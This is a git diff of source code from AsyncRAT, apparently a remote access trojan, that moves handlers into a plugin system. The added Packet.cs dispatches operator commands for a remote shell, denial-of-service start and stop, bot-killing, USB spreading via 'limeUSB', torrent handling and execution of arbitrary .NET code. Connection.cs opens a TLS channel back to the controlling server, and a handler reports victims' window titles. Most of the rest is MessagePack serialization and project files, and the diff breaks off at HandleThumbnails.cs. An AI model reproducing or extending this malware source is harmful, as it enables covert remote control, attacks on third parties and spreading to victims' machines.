BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj new file mode 100644 index 0000000..e2862db --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Miscellaneous.csproj @@ -0,0 +1,84 @@ + + + + + + Debug + AnyCPU + {37E20BAF-3577-4CD9-BB39-18675854E255} + Library + Properties + Miscellaneous + Miscellaneous + v4.0 + 512 + true + + + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll + + + ..\..\..\..\..\LimeUSB-Csharp\LimeUSB-Csharp\IconLib.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs new file mode 100644 index 0000000..f0267cc --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Packet.cs @@ -0,0 +1,114 @@ +using Miscellaneous.Handler; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Packet + { + public static CancellationTokenSource ctsDos; + + public static void Read(object data) + { + try + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "botKiller": + { + new HandleBotKiller().RunBotKiller(); + Connection.Disconnected(); + break; + } + + case "limeUSB": + { + new HandleLimeUSB().Initialize(); + Connection.Disconnected(); + break; + } + + case "torrent": + { + new HandleTorrent(unpack_msgpack); + Connection.Disconnected(); + break; + } + + case "shell": + { + HandleShell.StarShell(); + break; + } + + case "shellWriteInput": + { + if (HandleShell.ProcessShell != null) + HandleShell.ShellWriteLine(unpack_msgpack.ForcePathObject("WriteInput").AsString); + break; + } + + case "dosAdd": + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "dosAdd"; + Connection.Send(msgpack.Encode2Bytes()); + break; + } + + + case "dos": + { + switch (unpack_msgpack.ForcePathObject("Option").AsString) + { + case "postStart": + { + ctsDos = new CancellationTokenSource(); + new HandleDos().DosPost(unpack_msgpack); + break; + } + + case "postStop": + { + ctsDos.Cancel(); + break; + } + } + break; + } + + + case "executeDotNetCode": + { + new HandlerExecuteDotNetCode(unpack_msgpack); + break; + } + + } + } + catch (Exception ex) + { + Error(ex.Message); + } + } + + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } + +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs new file mode 100644 index 0000000..0a440aa --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Plugin.cs @@ -0,0 +1,34 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(msgPack); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..22e3d5e --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +//[assembly: AssemblyTitle("Miscellaneous")] +//[assembly: AssemblyDescription("")] +//[assembly: AssemblyConfiguration("")] +//[assembly: AssemblyCompany("")] +//[assembly: AssemblyProduct("Miscellaneous")] +//[assembly: AssemblyCopyright("Copyright © 2019")] +//[assembly: AssemblyTrademark("")] +//[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("37e20baf-3577-4cd9-bb39-18675854e255")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config new file mode 100644 index 0000000..f9dfbde --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/packages.config @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Options/Options.sln b/AsyncRAT-C#/Plugin/Options/Options.sln new file mode 100644 index 0000000..8caea37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Options", "Options\Options.csproj", "{6AA4E392-AAAF-4408-B550-85863DD4BAAF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6AA4E392-AAAF-4408-B550-85863DD4BAAF}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F9806379-F782-4BAF-94F7-6E170E5E5631} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/Options/Options/Connection.cs b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs new file mode 100644 index 0000000..70a0271 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Options/Options/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandlePcOptions.cs similarity index 97% rename from AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs rename to AsyncRAT-C#/Plugin/Options/Options/Handler/HandlePcOptions.cs index 373b978..c9f6595 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePcOptions.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandlePcOptions.cs @@ -1,11 +1,10 @@ -using Client.Helper; -using System; +using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; -namespace Client.Handle_Packet +namespace Plugin.Handler { public class HandlePcOptions { @@ -66,4 +65,5 @@ namespace Client.Handle_Packet } } } + } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs similarity index 87% rename from AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs rename to AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs index a78b86d..ab7ebc1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleReportWindow.cs +++ b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleReportWindow.cs @@ -1,5 +1,4 @@ -using Client.MessagePack; -using Client.Connection; +using Plugin.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -7,7 +6,7 @@ using System.Linq; using System.Text; using System.Threading; -namespace Client.Handle_Packet +namespace Plugin.Handler { class HandleReportWindow { @@ -47,6 +46,7 @@ namespace Client.Handle_Packet case "stop": { Packet.ctsReportWindow?.Cancel(); + Connection.Disconnected(); break; } } @@ -56,6 +56,11 @@ namespace Client.Handle_Packet { Packet.ctsReportWindow?.Cancel(); Packet.ctsReportWindow = new CancellationTokenSource(); + + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "reportWindow-"; + Connection.Send(msgpack.Encode2Bytes()); + title = new List(); foreach (string s in unpack_msgpack.ForcePathObject("Title").AsString.ToLower().Split(new[] { "," }, StringSplitOptions.None)) title.Add(s.Trim()); @@ -67,8 +72,9 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "reportWindow"; msgpack.ForcePathObject("Report").AsString = window; - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } } + } diff --git a/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs b/AsyncRAT-C#/Plugin/Options/Options/Handler/HandleThumbnails.cs new file mode 100644 index 0000000..645097e --- /dev/null +++ 